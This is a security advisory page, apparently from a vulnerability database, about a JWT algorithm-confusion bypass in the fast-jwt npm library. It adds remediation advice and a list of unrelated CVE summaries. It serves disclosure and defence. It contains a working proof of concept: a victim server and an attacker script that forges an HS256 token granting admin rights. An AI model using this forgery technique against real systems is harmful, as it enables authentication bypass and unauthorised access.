Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
5DescriptionGitHub Advisory
Summary
The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.
Details
The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a plain string used with .includes() to a regex used with .match():
// Before fix (vulnerable to original CVE)
const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'
// .includes() matched anywhere in the string - not vulnerable to whitespace
// After fix (current code, line 28)
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/
// ^ anchor requires match at position 0 - defeated by leading whitespace
In performDetectPublicKeyAlgorithms()
(https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):
function performDetectPublicKeyAlgorithms(key) {
const publicKeyPemMatch = key.match(publicKeyPemMatcher) // no .trim()!
if (key.match(privateKeyPemMatcher)) {
throw ...
} else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') {
return rsaAlgorithms // ← correct path: restricts to RS/PS algorithms
} else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) {
return hsAlgorithms // ← VULNERABLE: RSA key falls through here
}
When the key string has any leading whitespace (space, tab, \n, \r\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the HMAC secret - the exact same attack as CVE-2023-48223.
Notably, the private key detection function does call .trim() before matching https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79: const pemData = key.trim().match(privateKeyPemMatcher) // trims - not vulnerable
The public key path does not. This inconsistency is the root cause.
Leading whitespace in PEM key strings is common in real-world deployments:
- PostgreSQL/MySQL text columns often return strings with leading newlines
- YAML multiline strings (|, >) can introduce leading whitespace
- Environment variables with embedded newlines
- Copy-paste into configuration files
PoC
Victim server (server.js):
const http = require('node:http');
const { generateKeyPairSync } = require('node:crypto');
const fs = require('node:fs');
const path = require('node:path');
const { createSigner, createVerifier } = require('fast-jwt');
const port = 3000;
// Generate RSA key pair
const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });
const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });
// Simulate real-world scenario: key retrieved from database with leading newline
const publicKeyFromDB = '\n' + publicKeyPem;
// Write public key to disk so attacker can recover it
fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${port}`);
// Endpoint to generate a JWT token with admin: false
if (url.pathname === '/generateToken') {
const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };
const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });
const token = signSync(payload);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ token }));
return;
}
// Endpoint to check if you are the admin or not
if (url.pathname === '/checkAdmin') {
const token = url.searchParams.get('token');
try {
const verifySync = createVerifier({ key: publicKeyFromDB });
const payload = verifySync(token);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify(payload));
} catch (err) {
res.writeHead(401, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: err.message }));
}
return;
}
res.writeHead(404);
res.end('Not found');
});
server.listen(port, () => console.log(`Server running on http://localhost:${port}`));Attacker script (attacker.js):
const { createHmac } = require('node:crypto');
const fs = require('node:fs');
const path = require('node:path');
const serverUrl = 'http://localhost:3000';
async function main() {
// Step 1: Get a legitimate token
const res = await fetch(`${serverUrl}/generateToken?name=attacker`);
const { token: legitimateToken } = await res.json();
console.log('Legitimate token payload:',
JSON.parse(Buffer.from(legitimateToken.split('.')[1], 'base64url')));
// Step 2: Recover the public key
// (In the original advisory: python3 jwt_forgery.py token1 token2)
const publicKey = fs.readFileSync(path.join(__dirname, 'public_key.pem'), 'utf8');
// Step 3: Forge an HS256 token with admin: true
// (In the original advisory: python jwt_tool.py --exploit k -pk public_key token)
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({
admin: true, name: 'attacker',
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 3600
})).toString('base64url');
const signature = createHmac('sha256', publicKey)
.update(header + '.' + payload).digest('base64url');
const forgedToken = header + '.' + payload + '.' + signature;
// Step 4: Present forged token to /checkAdmin
// 4a. Legitimate RS256 token - REJECTED
const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`);
console.log('Legitimate RS256 token:', legRes.status, await legRes.json());
// 4b. Forged HS256 token - ACCEPTED
const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`);
console.log('Forged HS256 token:', forgedRes.status, await forgedRes.json());
}
main().catch(console.error);Running the PoC:
Terminal 1
node server.js
Terminal 2
node attacker.js
Output: Legitimate token payload: { admin: false, name: 'attacker', iat: 1774307691 } Legitimate RS256 token: 401 { error: 'The token algorithm is invalid.' } Forged HS256 token: 200 { admin: true, name: 'attacker', iat: 1774307691, exp: 1774311291 }
The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker's forged HS256 token is accepted with admin: true.
Impact
Applications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify function without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads which will be accepted by the verifier. This is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original CVE: the attacker only needs knowledge of the server's RSA public key (which is public by definition).
AnalysisAI
JWT algorithm confusion in fast-jwt npm package allows remote attackers to forge authentication tokens with arbitrary claims by exploiting incomplete CVE-2023-48223 remediation. The vulnerability (CVSS 9.1 Critical) affects applications using RS256 with public keys containing leading whitespace-a common scenario in database-stored keys, YAML configurations, and environment variables. Attackers possessing the RSA public key (inherently public information) can craft HS256 tokens accepted as valid
Technical ContextAI
The vulnerability resides in fast-jwt's algorithm auto-detection logic (crypto.js:performDetectPublicKeyAlgorithms). When verifying JWTs without explicit algorithm specification, the library examines the key material to determine allowed algorithms. The fix for CVE-2023-48223 replaced a permissive string search with a regex using a strict start-of-string anchor (^-----BEGIN(?: (RSA))? PUBLIC KEY-----). However, this anchor fails when PEM-encoded public keys contain leading whitespace characters (spaces, tabs, newlines)-a condition absent from the corresponding private key detection path, which calls .trim() before matching. When the regex fails to match, RSA public keys fall through to the hsAlgorithms code path, enabling JWT algorithm confusion (CWE-327). The attacker can then create an HS256 token using the public RSA key as the HMAC secret. Because HMAC is symmetric and the public key is known, the forged token passes signature verification. This exploits the semantic gap between asymmetric (RS256) and symmetric (HS256) cryptography, a classic JWT vulnerability pattern. Leading whitespace in PEM strings commonly occurs when keys are retrieved from PostgreSQL/MySQL text columns with trailing newlines, YAML multiline literals (| or > block scalars), or environment variables with embedded line breaks.
RemediationAI
Upgrade to a patched version of fast-jwt when the vendor releases a fix addressing this issue (monitor https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987 for updates). As an immediate workaround, explicitly specify the algorithm parameter when calling createVerifier to bypass the vulnerable auto-detection logic: createVerifier({ key: publicKey, algorithms: ['RS256'] }). This forces the verifier to reject tokens using mismatched algorithms, preventing the confusion attack. Additionally, normalize public key strings by calling .trim() before passing them to fast-jwt functions to remove leading/trailing whitespace: const verifier = createVerifier({ key: publicKey.trim() }). For defense in depth, audit all public key storage and retrieval mechanisms-particularly database queries, YAML parsers, and environment variable handlers-to ensure they do not introduce extraneous whitespace. Review application logs for rejected tokens with algorithm mismatch errors, which may indicate exploitation attempts. Consider implementing additional JWT validation layers using libraries like jsonwebtoken or jose as secondary verification, and enforce strict algorithm allowlists at the application layer independent of library auto-detection.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-19356
GHSA-mvf2-f6gm-w987